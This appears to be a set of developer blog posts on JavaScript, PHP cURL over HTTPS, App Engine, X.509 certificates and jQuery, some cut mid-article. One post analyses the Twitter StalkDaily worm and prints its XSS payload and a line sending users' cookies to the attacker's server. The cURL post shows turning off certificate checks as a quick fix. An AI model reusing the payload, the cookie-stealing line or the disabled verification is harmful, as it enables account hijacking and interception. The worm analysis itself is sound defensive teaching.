With JavaScript there are actually two concepts at play when using logical operators: What is actually returned from the result of a logical operation, and how variables are converted to boolean values when the context requires it.

Undergoing a conversion

Firstly, we’ll look at how variables in JavaScript are converted to boolean values. One way to explicitly convert a non-boolean value to a boolean one in JavaScript is to use the global Boolean object as a function. By using the following code, you can explicitly get the boolean conversion of a variable or expression:

var asBoolean = Boolean(someVariable);

The variable asBoolean is now guaranteed to have a boolean value. Note that this is not the same as the expression new Boolean(someVariable), as that returns a Boolean (wrapper) object representing the converted value of someVariable, not a boolean primitive.

So what values of someVariable will result in true being returned, and which ones will result in false? The following values will evaluate to false, while all others will evaluate to true:

• 0 or -0 (Most floating-point implementations have positive and negative zero, due to the IEEE 754 standard)
• null
• undefined
• NaN
• The empty string (“”)
• false itself

This means that all other expressions or values, including any non-null object (including the Boolean object for false!) and the string “false” will be converted to true.

Note that using the Boolean function isn’t the only way to explicitly convert a variable to its boolean equivalent. You could also apply the logical NOT operator twice, like so:

var asBoolean = !(!someVariable);

This is because the contract of the logical NOT operator in JavaScript is to return false if the operand can be converted to true and true otherwise. The second NOT simply reverses the negation done by the first NOT operator. While all of this may seem dead simple, it will be important to note as we move on to how other logical operators work.

Logical conversion

This is perhaps the most important difference with JavaScript. Although the logical NOT operator (!) is guaranteed to return a boolean value, the logical AND (&&) and logical OR (||) operators are not. This is by design, and although it might be a bit of a change for some developers, the feature can actually be quite useful.

Consider the following code examples:

var result = a && b

In this example of using logical AND, a is returned if it can be converted to false; otherwise b is returned.

var result = a || b

In this example of using logical OR, a is returned if it can be converted to true; otherwise b is returned.

This means that one of the original operands or expressions used with the logical operators will be returned as a result of the evaluation. You will not always get an actual boolean value, unless both of the operands were booleans to begin with. Usually, this doesn’t matter, since if you use the result in a boolean context, it will get converted to the expected value. For example:

var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (result)
{
  window.alert("At least one string was not empty");
  window.alert(result);
}

This example will output “At least one string was empty”, and then “a string that is not empty”. This is because the logical OR operator first converts string1 to a boolean, which results in false. Thus, the result of the logical OR returns string2 into the result. Since the result is now a non-empty string, it converts to true for the if-conditional.

This also highlights a convenient way of using logical OR – give me the first expression if it evaluates to true, otherwise give me the second. This is usually used to test for the availability of built-in objects in a particular JavaScript environment.

However, consider the following example:

var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (true == result)
{
  // We will never get here.
  window.alert("At least one string was not empty");
  window.alert(result);
}

In this slightly changed example, instead of directly supplying the result to the if-conditional, we test whether it is equal to true. In this case, it fails, since when using the equality operator, operands are not converted to booleans. (Using the strict equality operator also would not work)

This underscores an important point: If you actually want a boolean value to work with, you will have to explicitly convert it, using either the Boolean function or a double application of the logical NOT operator, like so:

result = Boolean(result);
// Or, we could do this:
result = !(!result);

Conclusion

JavaScript offers some neat features due to its dynamic typing and these can help speed development, but you just need to be aware of how they work so that you don’t get tripped up. This is especially true when dealing with implicit type conversion and how logical operators work. I hope you found this helpful and as always, any feedback is appreciated!

References

1. Logical Operators
2. Boolean Object
3. Boolean Description
4. Comparison Operators

From PHP, you can access the useful cURL Library (libcurl) to make requests to URLs using a variety of protocols such as HTTP, FTP, LDAP and even Gopher. (If you’ve spent time on the *nix command line, most environments also have the curl command available that uses the libcurl library)

In practice, however, the most commonly-used protocol tends to be HTTP, especially when using PHP for server-to-server communication. Typically this involves accessing another web server as part of a web service call, using some method such as XML-RPC or REST to query a resource. For example, Delicious offers a HTTP-based API to manipulate and read a user’s posts. However, when trying to access a HTTPS resource (such as the delicious API), there’s a little more configuration you have to do before you can get cURL working right in PHP.

The problem

If you simply try to access a HTTPS (SSL or TLS-protected resource) in PHP using cURL, you’re likely to run into some difficulty. Say you have the following code: (Error handling omitted for brevity)

// Initialize session and set URL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

// Set so curl_exec returns the result instead of outputting it.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Get the response and close the channel.
$response = curl_exec($ch);
curl_close($ch);

If $url points toward an HTTPS resource, you’re likely to encounter an error like the one below:

Failed: Error Number: 60. Reason: SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed

The problem is that cURL has not been configured to trust the server’s HTTPS certificate. The concepts of certificates and PKI revolves around the trust of Certificate Authorities (CAs), and by default, cURL is setup to not trust any CAs, thus it won’t trust any web server’s certificate. So why don’t you have problems visiting HTTPs sites through your web browser? As it happens, the browser developers were nice enough to include a list of default CAs to trust, covering most situations, so as long as the website operator purchased a certificate from one of these CAs.

The quick fix

There are two ways to solve this problem. Firstly, we can simply configure cURL to accept any server(peer) certificate. This isn’t optimal from a security point of view, but if you’re not passing sensitive information back and forth, this is probably alright. Simply add the following line before calling curl_exec():

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

This basically causes cURL to blindly accept any server certificate, without doing any verification as to which CA signed it, and whether or not that CA is trusted. If you’re at all concerned about the data you’re passing to or receiving from the server, you’ll want to enable this peer verification properly. Doing so is a bit more complicated.

The proper fix

The proper fix involves setting the CURLOPT_CAINFO parameter. This is used to point towards a CA certificate that cURL should trust. Thus, any server/peer certificates issued by this CA will also be trusted. In order to do this, we first need to get the CA certificate. In this example, I’ll be using the https://api.del.icio.us/ server as a reference.

First, you’ll need to visit the URL with your web browser in order to grab the CA certificate. Then, (in Firefox) open up the security details for the site by double-clicking on the padlock icon in the lower right corner:

Then click on “View Certificate”:

Bring up the “Details” tab of the cerficates page, and select the certificate at the top of the hierarchy. This is the CA certificate.

Then click “Export”, and save the CA certificate to your selected location, making sure to select the X.509 Certificate (PEM) as the save type/format.

Now we need to modify the cURL setup to use this CA certificate, with CURLOPT_CAINFO set to point to where we saved the CA certificate file to.

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_CAINFO, getcwd() . "/CAcerts/BuiltinObjectToken-EquifaxSecureCA.crt");

The other option I’ve included, CURLOPT_SSL_VERIFYHOST can be set to the following integer values:

• 0: Don’t check the common name (CN) attribute
• 1: Check that the common name attribute at least exists
• 2: Check that the common name exists and that it matches the host name of the server

If you have CURLOPT_SSL_VERIFYPEER set to false, then from a security perspective, it doesn’t really matter what you’ve set CURLOPT_SSL_VERIFYHOST to, since without peer certificate verification, the server could use any certificate, including a self-signed one that was guaranteed to have a CN that matched the server’s host name. So this setting is really only relevant if you’ve enabled certificate verification.

This ensures that not just any server certificate will be trusted by your cURL session. For example, if an attacker were to somehow redirect traffic from api.delicious.com to their own server, the cURL session here would not properly initialize, since the attacker would not have access to a server certificate (i.e. would not have the private key) trusted by the CA we added. These steps effectively export the trusted CA from the web browser to the cURL configuration.

More information

If you have the CA certificate, but it is not in the PEM format (i.e. it is in a binary or DER format that isn’t Base64-encoded), you’ll need to use something like OpenSSL to convert it to the PEM format. The exact command differs depending on whether you’re converting from PKCS12 or DER format.

There is a CURLOPT_CAPATH option that allows you to specify a directory that holds multiple CA certificates to trust. But it’s not as simple as dumping every single CA certificate in this directory. Instead, they CA certificates must be named properly, and the OpenSSL c_rehash utility can be used to properly setup this directory for use by cURL.

When Google launched App Engine about one year ago, many were excited about their expected move into the cloud computing space, but at the same time, dismayed that it only supported Python, a language seemingly favoured at the Mountain View-headquartered company.

However, Google was adamant that they would begin supporting new languages and began taking requests on their issue tracker for what language to support next. So, it was no surprise that support for Java was announced last week as part of an “Early Look” at the feature.

I qualified for signup!

The Google App Engine page indicated that access would be limited to the first 10,000 developers who signed up, but I was able to get approved for access after signing up over the weekend, even though Java support was launched last Wednesday on April 8th. Google has since expanded the “early Look” to accommodate a total of 25,000 developers, so be sure to sign up if you can!

The choice of Java as the next language to support was no big surprise, as indicated by many articles speculating on the matter.

Furthermore, Java is one of the most popular languages out there, both outside and inside Google, making it a logical choice. This is seen by the numerous Java projects Google has created/supported, such as Google Web Toolkit and Google Guice. Additionally, Java is second to none when it comes to a viable developer ecosystem, which has resulted in great open source projects such as JBoss, the Apache Commons collections, and other libraries/frameworks that have provided great tools to any Java developer, allowing them focus on developing their application instead of worrying about lower-level problems. There are also a great many websites out there running on J2EE, such as LinkedIn and numerous corporate websites.

App Engine as a enabler for free/cheap Java hosting

However, this hasn’t translated into the availability of cheap web hosting for J2EE/Java development. Typically, web hosting for a shared-server solution will be only a few dollars per month if you’re using a scripting/interpreted language like PHP, Python or Perl. If you want to develop Java web applications though, you’ll likely have to pay much more due to the complexity and overhead of the hosting provider having to run a Java VM.

As outlined in this somewhat overly optimistic article, Google’s support for Java in App Engine has the potential to change the game by offering a cheap/low-cost, or in most cases, a free solution to allow developers to begin creating J2EE/Java-based web applications. This will have the effect of encouraging greater adoption of J2EE as a server-side solution. In my opinion, the high cost of Java web hosting has indeed hampered its adoption by the community, as compared to alternatives like PHP, Python and Ruby.

Hello, World

As for me, I’m currently devoting my free time to experimenting on App Engine using Java. So far, the documention and tutorial seem to be fairly well-written and easy to follow, and for the most part App Engine is using the standard Java APIs for providing most of their service functionality. Furthermore, Google has made an excellent Eclipse plugin for App Engine Java support, which provides not only the SDK, but also a built-in development server/Jetty-based servlet container for local testing, but also the tools necessary to upload your application to Google’s servers directly from the IDE. Another reason why Eclipse is the best IDE out there.

I hope to have something working within a few days, at least to test the service and play around with its capabilities. Overall, I’m very impressed!

If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets about the StalkDaily website (don’t go there) to show up on their profile. Furthermore, other user’s Twitter profiles could also become infected, seemingly by only viewing the profile of another infected user.

Eventually the source code of the worm was uncovered, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast. Here’s an overview of how the worm worked.

Overview

The StalkDaily worm was apparently written by a person named “Mikeyy Mooney”, who is evidently a 17-year old from Brooklyn, New York. He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user’s profile. The attack was not able to steal user’s passwords, thanks to Twitter’s security configuration, but it nonetheless caused over 10,000 unauthorized tweets to show up on users’ profiles.

Drilling down

An analysis of the source code of the worm yields some insight into how this malicious code was able to spread so effectively. Specifically, the attack used Type 2 or persistent XSS vulnerability, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.

In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user’s profile. This injected JavaScript was then used to “infect” the profile of the user who viewed the already-infected profile, causing the cycle to repeat.

Specifically, the “URL” field of the user’s profile is targeted. This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to HTML entities when setting the contents to the value of the href attribute when displaying the user’s URL or homepage/website. This is seen in lines 104 and 109 of the source code, shown below:

var xss = urlencode('http://www.stalkdaily.com"><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");

The last line is where the user’s profile is updated to show the offending JavaScript; this essentially make the user’s profile execute the worm’s source code, causing anyone who views the profile to become “infected” themselves.

Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (x.js) on his site. By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain. This “privilege escalation” of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker’s choice.

Spreading

Once infected, a user’s profile would contain a link to the malicious JavaScript as described above. This is because the user’s profile shows a link to their website URL, which had been altered to inject the malicious JavaScript residing the attacker’s server. Because of this, anyone who was logged into Twitter and viewed an infected user’s profile would themselves be infected, and their profile would then become a vector for transmission of the worm, completing the cycle.

The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website. It appears the attacker was trying to promote his website this way, but it’s also possible that going to this website could also cause you to become infected. While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it’s possible that a hidden iframe could be included on the site, pointing towards the profile of an infected user. This would case you to become infected.

Why XSS is so important to prevent against

Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into HTML entities before being output to a webpage or displayed. This can allow a malicious user to inject or alter the structure of the DOM, inserting script tags to inject their own arbitrary JavaScript into your website.

This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken. For example, the source code of the worm shows that Twitter was using an “authentication token” for all form submissions in order to prevent Cross-site Request Forgery (CSRF) attacks. This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.

This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker’s script (on a separate domain) was able to run with the same privilege of a script on Twitter’s own site. Thus, it was able to read in the “authentication token” value from the HTML of the Twitter webpage, and use it to properly craft form submission data to alter the user’s profile and tweet on their behalf. This is seen on lines 85-90:

var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);

Note that using a cookie to store the authentication token would not have prevented this. Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user’s cookies! In fact it does exactly this, and furthermore it sends your cookies to the attacker’s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)

var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");

Other notes

Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a script element. This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.

However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API. Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like NoScript so that the user can have fine-grained control over issues like this.

Other points of interest when looking at the source code is that the bulk of the code are utility functions. The actual malicious code only takes up the last third of the file or so. For example, the function XHConn() is simply a standard cross-browser compatible implementation of XMLHttpRequest, the API used for the Ajax requests necessary to alter the user’s profile. Additionally, the urlencode() function is another utility function that allows values like the user’s cookies and the actual malicious script tag to be properly submitted in the Ajax request.

Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111) This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like window.onload.

Concluding remarks

This analysis identifies the following points:

1. The worm spreads by updating your profile URL to include the malicious script.
2. Simply viewing the profile of an infected user is suffice to cause your profile to become infected.
3. Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.
4. The random tweets from an infected user do not appear to contain the malicious code, probably because output here has been protected against that.
5. The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies. It also appears to log each visit to an infected user’s profile.
6. Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user. This can be hard to detect, so using something the NoScript Firefox extension is recommended.

Note that this is not a criticism of Twitter itself, as designing any web application is difficult from a security perspective; it’s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday. They appeared to have the situation under control as of yesterday and had patched the hole as well as being on their way to cleaning up infected users’ profiles. Understandably they are very upset and I hope they are able to sort the whole issue out.

function getPower(power)
{
  return function(x)
  {
    return Math.pow(x, power);
  }
}

var x3 = getPower(3);
window.alert(x3(3)); // Outputs 27.

In the rather stupid and contrived example above, we make a function getPower() that returns another function which raises the given value to the exponent supplied by calling getPower(). (This is a bad way to do things for numerous reasons, but is just shown for the sake of providing a simple example)

We then call getPower with a power of 3 and assign the returned function to the variable x3, and the output is as expected. Defining “inline” functions this way and manipulating them is closely associated with the concept of anonymous functions.

Functions: Copied and passed by reference

Since functions are objects, and objects are passed and copied by reference, the behaviour should be fairly straightforward to those familiar with the concept. Here’s a quick example of what I’m talking about. Since JavaScript functions can be treated just like plain old objects, this means we can attach arbitrary properties to them – let’s see how that relates to making a “copy” of a function:

function test() {window.alert("A Test");}
f = window.test;
window.test.aProperty = 'Hello!';
window.alert(f.aProperty); // Outputs "Hello!"

f.aProperty = 'Goodbye!';
window.alert(window.test.aProperty); // Outputs "Goodbye!"

The key here is that the expression f = window.test; doesn’t make a complete copy of the function; instead it just ensures that the variable f will point at the same function object as window.test. So expressions that modify the underlying function object and its data will reflect in both window.test and f. Just think of those two variables as being different ways of accessing the same underlying data.

But let’s consider another example: What happens if we make a copy of a function and then redefine the original?

function test() {window.alert("A Test");}

f = window.test;
f(); // "A Test"

// Redefine the original function.
test = function() {window.alert("A changed test");};

f(); // Still "A Test"!
window.test(); // "A changed test"

The results are a bit strange – it appears that when we redefine test, the changes are not reflected in the copy we created in variable f! Why is this?

Closer inspection yields the following answer: We were not actually redefining the function pointed to by test. Instead, we created a new Function object in memory and then “pointed” test at this new function. The old function, formerly referenced by test, is still referenced by the variable f so that is why it continues to invoke that code.

This is illustrated by the following diagrams. In the first, the original function has been defined and two variables refer to it.

In the second diagram, we have created a new function and altered the variable test to refer to it; however the variable f still refers to the original function. Thus, the important thing to note is that when using the assignment operator for functions, they are copied by reference.

The original function is still referenced by f

Where this matters

This point has relevance when talking about event handlers. Typically, when we bind functions to a specific events this involves copying a function reference over to some other variable or property. Whether we directly do this using traditional event registration by using an expression like element.onclick = someFunction or whether it’s done using jQuery’s Event Helpers, the effect is the same.

This means that after assigning the event handler, we cannot simply modify the original function to make changes to how the event handler works. This is because when we assign a new function the old one will still be referenced by the event handler. The proper way to do this at runtime would be simply to register the new function to the event and deregister the old one.

Another way to think of it is that you can often register anonymous functions to events; since they are anonymous you won’t have a reference to them after you assign them to the event handler so there is no way to modify them after the fact. This same logic applies equally when assigning non-anonymous functions to events.

A bit of background

However, what I want to discuss today relates to certificate chains. At the top of every certificate chain is a root CA, whose certificate is self-signed. This sort of certificate can be considered a “God certificate” because it essentially says, “Trust me, because I say so”. As you can imagine, that’s not much of an argument for trusting someone, so that is why your browser has a list of default root CAs that it automatically trusts.

Some default trusted CAs in Firefox.

These root CAs are owned and operated by companies that are in the business of issuing certificates to other people for use on their servers. They have been added to the default trusted list of most browsers so that an end user doesn’t need to manually add all of them; doing so would be a usability nightmare. Essentially, these root CAs provide a trust anchor point, as not only are they trusted, but any certificates they issue will also be automatically trusted by the browser. Attempting to visit a HTTPS/SSL website that does not have a trusted certificates results in a nasty warning from modern browsers.

Rarely is the root CA certificate directly used for a web server, but instead it is used to sign or issue other certificates that are then used on a web server to confirm its identity and provide for secure end-to-end communication.

As you can imagine, operating a CA is an immense responsibility, so that is why these default lists have been setup: Essentially these companies have to vet entities that purchase certificates from them, to make sure they actually own the domain that they are trying to buy a certificate for, otherwise phishing would become too easy! Even so, these companies sometimes still have lapses due to use of outdated technologies and poor security practices, but that is another complicated issue for another day.

Issuing a certificate – An example

The act of issuing a certificate essential entails a CA using its public-private key pair to sign the contents of the certificate that is being issued. This ties the identity information in the certificate to its key pair and provides confirmation that the CA has affirmed the authenticity of the certificate, I.E., that it has truly issued this certificate and that it has not been forged.

Going back to a certificate chains, it was previously mentioned that the root CA certificate is at the top of the chain. Any certificates it issues are directly below it, so if these certificates are directly used on a web server, then the chain is of length two. However, certificate chains can be longer. If a certificate chain is longer than two, then this indicates the presence of an intermediate CA.

An intermediate CA is a CA that does not have a self-signed certificate but still has the capability to issue certificates that are trusted. For an example of the root CA to intermediate CA relationship, we can look at the certificate chain returned from https://mail.google.com:

The Root CA certificate from VeriSign, an X.509 v1 certificate.

Above we see the root CA certificate, a self-signed certificate created/issued by VeriSign. I’ve highlighted the fact that it is an X.509 version 1 certificate, which also means it doesn’t have any certificate extensions. This may not mean much right now, but we’ll get back to it soon.

The Intermediate CA certificate from Thawte, an X.509 v3 certificate.

This next shot shows the intermediate CA certificate that was issued by the root CA. This certificate has been issued to Thawte, a company coincidentally founded by Mark Shuttleworth, the South African man behind Canonical/Ubuntu. Thawte was acquired by VeriSign during the dot-com craze for US $575 million.

The “Basic Constraints” extension of the intermediate CA.

We can clearly see that this certificate is an X.509 version 3 certificate, meaning it does support certificate extensions. One of its extensions is a Basic Constraints extension, which has been set to signify that this is indeed a Certificate Authority. It also specifies one other parameter, which is the maximum number of intermediate CAs allowed beneath this one in the certificate chain hierarchy. Since this value is set to 0, this means this intermediate CA cannot issue any more CA certificates, but instead can only issue client certificates. Any attempt will to use a client certificate from this CA as a CA or signing certificate will fail, when consumed by a conforming client.

The client certificate

The last screenshot shows the client certificate, which is the last certificate in the chain. This is the certificate that is used by the server at mail.google.com to secure HTTPS traffic, and as we can see, it is also an X.509 v3 certificate (has extensions) and one of those extensions is the “Basic Constraints” extension. This time it is set to indicate that this is not a CA certificate.

The Basic Constraints of the client certificate, indicating it is not a CA certificate.

Basic Contraints – Why it’s needed

The “Basic Constraints” extension is one way for a CA to control the usage of the certificates it issues. For instance, when the root CA certificate in the example above issued the intermediate CA certificate, it set the Basic Constraints extension to signify that:

• The issued certificate is for a Certificate Authority, i.e. an intermediate CA.
• This certificate may not be used to create further CA certificates

In turn, the intermediate CA certificate was used to create the client certificate for mail.google.com, and it attached a Basic Constraints extension to signify that this certificate was not a CA certificate. By doing this, it was indicating that this certificate should not be used to sign/create further certificates.

This is necessary because of the how trust relationship works in X.509 PKI. Someone who trusts the root CA implicitly trusts all the intermediate CAs, and then by extension, all the client certificates issued by those intermediate CAs! (Note how this creates a single point-of-failure at the root CA as well)

If the CA could not control what the certificates it issued were used for, then someone could purchase a VeriSign certificate and use it to sign/create other certificates which would also be trusted by default! Clearly, this is not desirably from a security or financial point of view, if you are VeriSign. By using extensions such as the Basic Constraints one, the signing CA can enact fine-grained control over how the certificate is used. If the client certificate was used to sign another certificate, that certificate would be rejected by a browser that conformed to the X.509 v3 specifications.

The Grey Area

However, we run into a “grey area” of sorts when faced with a certificate that does not have a Basic Constraints extension. In this case, it is not indicated whether this is a CA certificate or not. How do the browsers respond in this scenario? In this case, it seems to depend on whether the CA is a root CA or an intermediate one.

For root CA certificates, it seems that the Basic Constraints extension is not required in order for the CA certificate to be viewed as valid from the browser’s point of view. (I’ve observed this in Firefox and Internet Explorer) This most likely stems from the fact that there are root CAs that were created and put into operation well before X.509 v3 extensions were in wide use. The VeriSign root CA in our example is an X.509 v1 certificate with a starting validity date of 1996-01-28.

However, for intermediate CAs, it seems that the Basic Constraints extension is required if you want things to work, at least in Firefox and Internet Explorer. I encountered this situation when working with a Private Root CA of my own. I was trying to create an intermediate CA (without any Basic Constraints extension) from this root CA, and was running into problems when using this intermediate CA to create client certificates. Any of the client certificates from the intermediate CA were being essentially rejected by the browser when attempting to visit the website they were being used for.

Because this was a “grey area”, the results were mixed. In Firefox, the site would load correctly, however when attempting to view the certificate chain (by double-clicking the lock icon in the lower right), only the client certificate could be viewed, not the fully certificate chain. Internet Explorer would show the full certificate chain but simply failed to load the page. Neither browser gave any indication as to why things were failing.

However, once I created an Intermediate CA with a Basic Constraints extension set to explicitly signify that this was indeed a CA, everything worked as expected. I don’t believe this is well-documented, though this is understandable since most people will not be creating their own Private CAs unless it’s for a very specialized purpose.

How to do this using the Bouncy Castle APIs

I’ve talked about the Bouncy Castle Java APIs before, and they have been an invaluable resource for simplifying the creation of a Private CA and for issuing certificates.

When issuing a certificate it’s fairly easy to set the Basic Constraints extension to indicate you want the certificate to be a CA certificate. First, take a look at this guide to under the fundamentals of certificate creation with the Bouncy Castle APIs, then look at this code fragment:

private static final int NUM_ALLOWED_INTERMEDIATE_CAS = 0;
...

// Construct the certificate.
final X509V3CertificateGenerator certGen = new X509V3CertificateGenerator();

...

// Need this extension to signify that this certificate is a CA and
// can issue certificates. (Extension is marked as critical)
certGen.addExtension( X509Extensions.BasicConstraints, true, new BasicConstraints(
  NUM_ALLOWED_INTERMEDIATE_CAS ) );

...

final X509Certificate intermediateCaCert = certGen.generate( signingCaPrivateKey, "SunRsaSign" );

By doing this you ensure that the intermediate CA certificate has the proper Basic Constraints extension to work correctly with modern web browsers.

Conclusion

I hope you found this helpful. Certainly if you’re here, you’ve been puzzled over the same issues that I struggled through!

References

1. X.509 Public Key Certificate and Certification Request Generation
2. OID 2.5.29.19 – Basic Constraints
3. OID Repository – basicConstraints(19)

Delegation

Delegation is a fairly well-known design pattern. In short, it is a way for a method to produce its result simply by calling a method on another object, thus delegating responsibility to that object to provide the functionality needed by the method. For example, a Cashier object could store a delegate object called Calculator. Calling Cashier.addToTotal(value) would simply delegate to the contained object, calling Calculator.addToTotal(value).

How is delegation different than inheritance? With inheritance, the subclass inherits all of the functionality/behaviour of the parent class. You may not want or need this; in the preceding example, it would not make sense to have Cashier extend from Calculator simply because we wanted the addToTotal() behaviour/functionality. Delegation allows the behaviour advertised by a certain object/class to be provided by another.

Traditional Event Handling

In order to understand event delegation in JavaScript, we should first look briefly at how events are handled traditionally. When I talk of traditional event handling, I am referring to the model that most will know. In this model, functions are individually bound to events of certain elements. For example, to make all links turn bold upon clicking them (and prevent them from being followed), we could use some JavaScript like this:

window.onload = function()
{
  links = document.getElementsByTagName('a');
  for (var i = 0; i < links.length; ++i)
  {
    links[i].onclick = makeBold;
  }

}

function makeBold()
{
  this.style.fontWeight = 'bold';
  return false;
}

The key point with this example is that the function makeBold(), our event handler, is bound to each and every a element. From a resource point of view, this is may be a bad thing because the more event handlers that are attached, the more memory that is used, in general.

Of course, I promised I’d be using jQuery, and doing so cleans up the above code substantially, as well as making it cross-browser compatible: (Besides adding a ton of other abilities and making life easier)

jQuery(function()
{
  jQuery('a').click(makeBold);
});

function makeBold(e)
{
  e.preventDefault();
  jQuery(this).css('font-weight', 'bold');
}

While this code is cleaner, it still does basically the same thing as above, that is, the event handler function makeBold() is bound to each matched element, that is, each a element.

As a final note, don’t confuse my use of the term traditional with Peter-Paul Koch’s excellent guide to JavaScript event registration, where he uses the term traditional to refer to one method of event registration, distinct from inline registration and the later W3C and Microsoft “Advanced” event registration models.

Event handling using delegation

By contrast, event delegation uses a single (or comparatively few) event handlers to implement the behaviour required. This takes advantage of two key features of JavaScript events, namely event bubbling and the target event.

Event bubbling is a model for how events take place on the page. It grew out of a need to resolve the order in which events were triggered on ancestor and descendant elements. For example, assume that I have two event handlers, one attached to the “click” event of a div and another attached to the “click” event of an a element within that div. If I click the a element, which event fires first? Event bubbling is one way to solve that question: It states that the event on the inner element happens first, and then the event “bubbles” upwards to trigger events on ancestor or container elements. There is another opposing model that works in the opposite way, but bubbling seems to be better supported and is more relevant for this article.

Here’s a crude diagram of event bubbling, using a pseudo-CSS box model of sorts:

Event bubbling diagram

The event target is the DOM element that issued the event, or the originating element. This is why I believe it’s a confusing term, since it would make more sense to called it the event source. But I digress. The event object, passed to an event handler as an argument (or available via window.event, though jQuery normalizes this) contains a property, event.target, that allows you to get the reference to the “target” element that the event started bubbling up from.

How it’s implemented

All of this is typically accomplished by registering a single event handler to a “container” element that holds all of the elements we wish to react to events for. When an event is triggered on one of the inner elements, it “bubbles up” to the container element, where it triggers the event handler function. From there, we can inspect the source of the event (confusingly called the event target) and then react accordingly.

This is where the delegation aspect comes into play. Since the container element may hold many inner elements, it is unlikely that we would want the same behaviour for each element when an event was triggered on it. For example, we might want certain a elements to trigger one action when clicked, while wanting another set of a elements to trigger another action. We’d typically differentiate these links by using separate class names or by context and then attaching event handlers as appropriate.

Using event delegation, process is similar, but instead of attaching multiple event handlers we have one on the overall parent element. When this event handler is triggered, we determine which element triggered the event and then based on this, delegate the remainder of the processing to another function. An example would be helpful now, as our previous examples with making some text bold weren’t too useful. Here’s the XHTML fragment for the container and elements.

<div class="container">
<ul class="top">
  <li>
    <a href="#" class="expandList">Item A - Click to toggle</a>
    <ul class="hide">
      <li>Sub-item 1</li>
      <li>Sub-item 2</li>
    </ul>
  </li>
  <li>
    <a href="#" class="expandList">Item B - Click to toggle</a>
    <ul class="hide">
      <li>Sub-item 1</li>
      <li>Sub-item 2</li>
    </ul>
  </li>
  <li><a href="#" class="remove">Item C - Click to remove</a></li>
  <li><a href="#" class="remove">Item D - Click to remove</a></li>
</div>

And here’s the JavaScript:

jQuery(function()
{
  jQuery('div.container').click(handleEvent);
});

function handleEvent(e)
{
  // Obtain the source element through event.target.
  var target = jQuery(e.target);

  // Now decide what to do with it.
  if (target.is('a.expandList'))
  {
    // We use Function.call() to set the context for the `this` keyword.
    return expandList.call(target, e);
  }
  else if (target.is('a.remove'))
  {
    return remove.call(target, e);
  }
  else
  {
    // Otherwise, allow the default action to take place.
    return true;
  }
}

function expandList(e)
{
  e.preventDefault();

  // The `this` keyword now references the jQuery object representing the
  // target, since that is what we set the context to.
  jQuery(this).parent('li').find('ul.hide').slideToggle('fast');
}

function remove(e)
{
  e.preventDefault();
  jQuery(this).parent('li').fadeOut('normal', function(){jQuery(this).remove()});
}

With this example, the steps are clearly outlined. First, we attach the overall event handler to the container element; events that take place on its inner or children element will bubble up to it. When an event is received, we inspect event.target to determine the origin and based on that, “hand off” to another function to carry out the proper behaviour.

With some standardization of the CSS class names you use and the associated event handler function names, you can clean up this code to reduce duplication and turn it into a design pattern of sorts. In fact, that’s exactly what Dan Webb has done.

More advantages of event delegation

Besides potentially using less resources by having less event handlers bound, event delegation brings one other significant advantage: The ability to have event handlers “auto bind” to new DOM elements. For example, let’s say we were to dynamically update the DOM and add more list items to our previous example; this sort of action happens frequently during Ajax operations where you want to present new content to the user.

